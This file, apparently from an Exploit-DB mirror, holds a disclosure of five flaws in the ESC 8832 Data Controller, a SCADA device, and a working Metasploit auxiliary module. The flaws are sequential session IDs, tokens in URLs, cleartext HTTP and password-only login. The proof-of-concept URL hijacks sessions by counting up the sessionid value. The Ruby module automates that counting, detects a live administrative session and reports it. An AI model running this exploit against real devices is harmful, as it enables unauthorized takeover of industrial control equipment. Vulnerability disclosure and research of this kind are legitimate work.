exploit-db-mirror/exploits/hardware/webapps/37154.rb

=begin
# Exploit Title: ESC 8832 Data Controller multiple vulnerabilities
# Date: 2014-05-29
# Platform: SCADA / Web Application
# Exploit Author: Balazs Makany
# Vendor Homepage: www.envirosys.com
# Version: ESC 8832 Data Controller Hardware
# Tested on: ESC 8832 Data Controller Hardware
# CVE : N/A (Yet)

POC for session hijacking: From the attacker browser (unauthenticated),
simply enter the following URL:
http://IP_of_the_Device/escmenu.esp?sessionid=1&menuid=6 and increment the
sessionid parameter, starting from 1 up until it makes sense.

POC (and other vulns as well) was confirmed by the vendor
Metasploit auxiliary module available at
https://www.th3r3g3nt.com/public_files/esc_8832_session.rb

Details
[1] Insecure user session handling (Session Hijacking)
Summary: This vulnerability allows an attacker to hijack a valid session
that is in progress by a legitimate user.
Details: Due to the predictable session generation and due to the lack of
cookie based authentication in the web interface, it was confirmed that an
attacker from a different source IP address can issue valid requests,
impersonating the authenticated user. The attack complexity is very low, no
special software is required. It was noted that valid sessions do time out
after certain period of inactivity, however hijacked sessions can
elongating the session validity.
Impact: The attacker can bypass intended access restrictions and
impersonate currently active users, including administrators. Successful
exploitation will result in complete loss of control over the device, and
may depend on the compromised user context.
POC: From a browser, simply enter the following URL:
http://IP_of_the_Device/escmenu.esp?sessionid=1&menuid=6 and modify the
sessionid parameter, starting from 1 up until it makes sense. Typically 15
is high enough.

[2] Insecure user session generation (Predictable user session generation)
Summary: This vulnerability aids attackers to perform session hijacking
Details: Upon successful authentication, the generated session ID are
sequential in nature and starts at 1. For example if no user is
authenticated, the first user who authenticates will receive the session ID
1. The next authenticated user will receive session ID 2 and so on. There
is also seems to be a “read-only” / unknown behavior when user ID 0 is
supplied. Negative, invalid and other fuzzable values were not tested.
Impact: Successful exploitation will allow remote attackers to determine
valid sessions, leading to session hijacking and can result in complete
loss of control over the device.
POC: N/A, confirmed by vendor

[3] Insecure user authentication method (Unencrypted protocol)
Summary: This vulnerability allows man-in-the-middle attackers to gain
valid cleartext credentials
Details: The device is only capable of HTTP based authentication, which
doesn’t seem to offer encryption such as HTTPS. Note that the native
end-point client shipped with the device was not tested.
Impact: Man-in-the-middle attackers are able to sniff cleartext
authentication credentials between the user and the device. Successful
exploitation may result in partial or complete loss of control over the
device, depending on the compromised user context.
POC: N/A, see web interface open ports and protocols

[4] Insecure user management (Lack of user names)
Summary: This vulnerability significantly decreases the complexity
requirements for bruteforce attacks
Details: The web interface does not require a username to be entered in
conjunction with the password; only the password drives the user role.
Impact: Attackers can have significantly higher success rate for password
bruteforcing. Successful exploitation may result in partial or complete
loss of control over the device, depending on the compromised user context.
POC: N/A, confirmed by vendor, inspect login screen

[5] Insecure user session token transmission (Session token in HTTP GET)
Summary: Session tokens are transmitted via HTTP GET request in unhashed
form
Details: Upon successful authentication, the session ID is being sent in
the URL GET request. (http[nolink]://
192.168.1.1/escmenu.esp?sessionid=1&menuid=6)
Impact: Man-in-the-middle attackers and caching devices (proxies, routers
with spanning ports, loggers, browser history, IDS/IPS etc.) can
effectively capture valid session IDs. The session ID transmitted in the
GET request is vulnerable to session hijacking. Successful exploitation may
result in partial or complete loss of control over the device, depending on
the compromised user context.
POC: N/A, confirmed by vendor
=end

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report

  def initialize(info={})
    super(update_info(info,
      'Name'        => 'ESC 8832 Data Controller Session Hijack Scanner',
      'Description' => %q{ This module detects if an active session is present and hijackable on the target ESC 8832 web interface.},
      'Author'      => ['Balazs Makany'],
      'References'  =>
      [
        ['URL', 'https://www.th3r3g3nt.com/?p=28'],
      ],
      'License'     => MSF_LICENSE
    ))

    register_options([
        Opt::RPORT(80),
        OptBool.new('STOP_ON_SUCCESS', [true, "Stop when a live session was found", true]),
    ])
    deregister_options('RHOST')
  end

  def run_host(target_host)
        result = []
        begin
                ('1'.. '15').each do |u|
                print_status("Scanning #{target_host} - with Session ID '#{u}'")

                #Just to be on the safe side here.
                sleep(1)

                res = send_request_raw({
                'uri'     => '/escmenu.esp?sessionid='+u+'&menuid=6',
                'method'  => 'GET',
                'headers' => { 'Connection' => 'Close' }
                }, 25)

                if (res and res.code == 200 and res.body)
                    if res.body.match(/(Configuration\sMenu)/im)
                        print_good("#{target_host} - Active Session found as #{u}!")
                        print_good("Complete request: http://#{target_host}/escmenu.esp?sessionid=#{u}&menuid=6")
                        report_vuln(
                         {
                            :host  => target_host,
                            :port  => datastore['RPORT'],
                            :name  => "ESC 8832 Web Vulnerability",
                            :info  => "Module #{self.fullname} confirmed a valid session (#{u}) on the ESC 8832 Web Interface",
                         }
                        )
                        break if datastore['STOP_ON_SUCCESS']
                    end
                    if res.body.match(/(Access\sDenied!)/im)
                        print_status("  Dead session")
                    end
                end
        end

        rescue ::Interrupt
                raise $!
        rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
                print_error("Timeout or no connection on #{rhost}:#{rport}")
                return
        rescue ::Exception => e
                print_error("#{rhost}:#{rport} Error: #{e.class} #{e} #{e.backtrace}")
                return
   end
end
end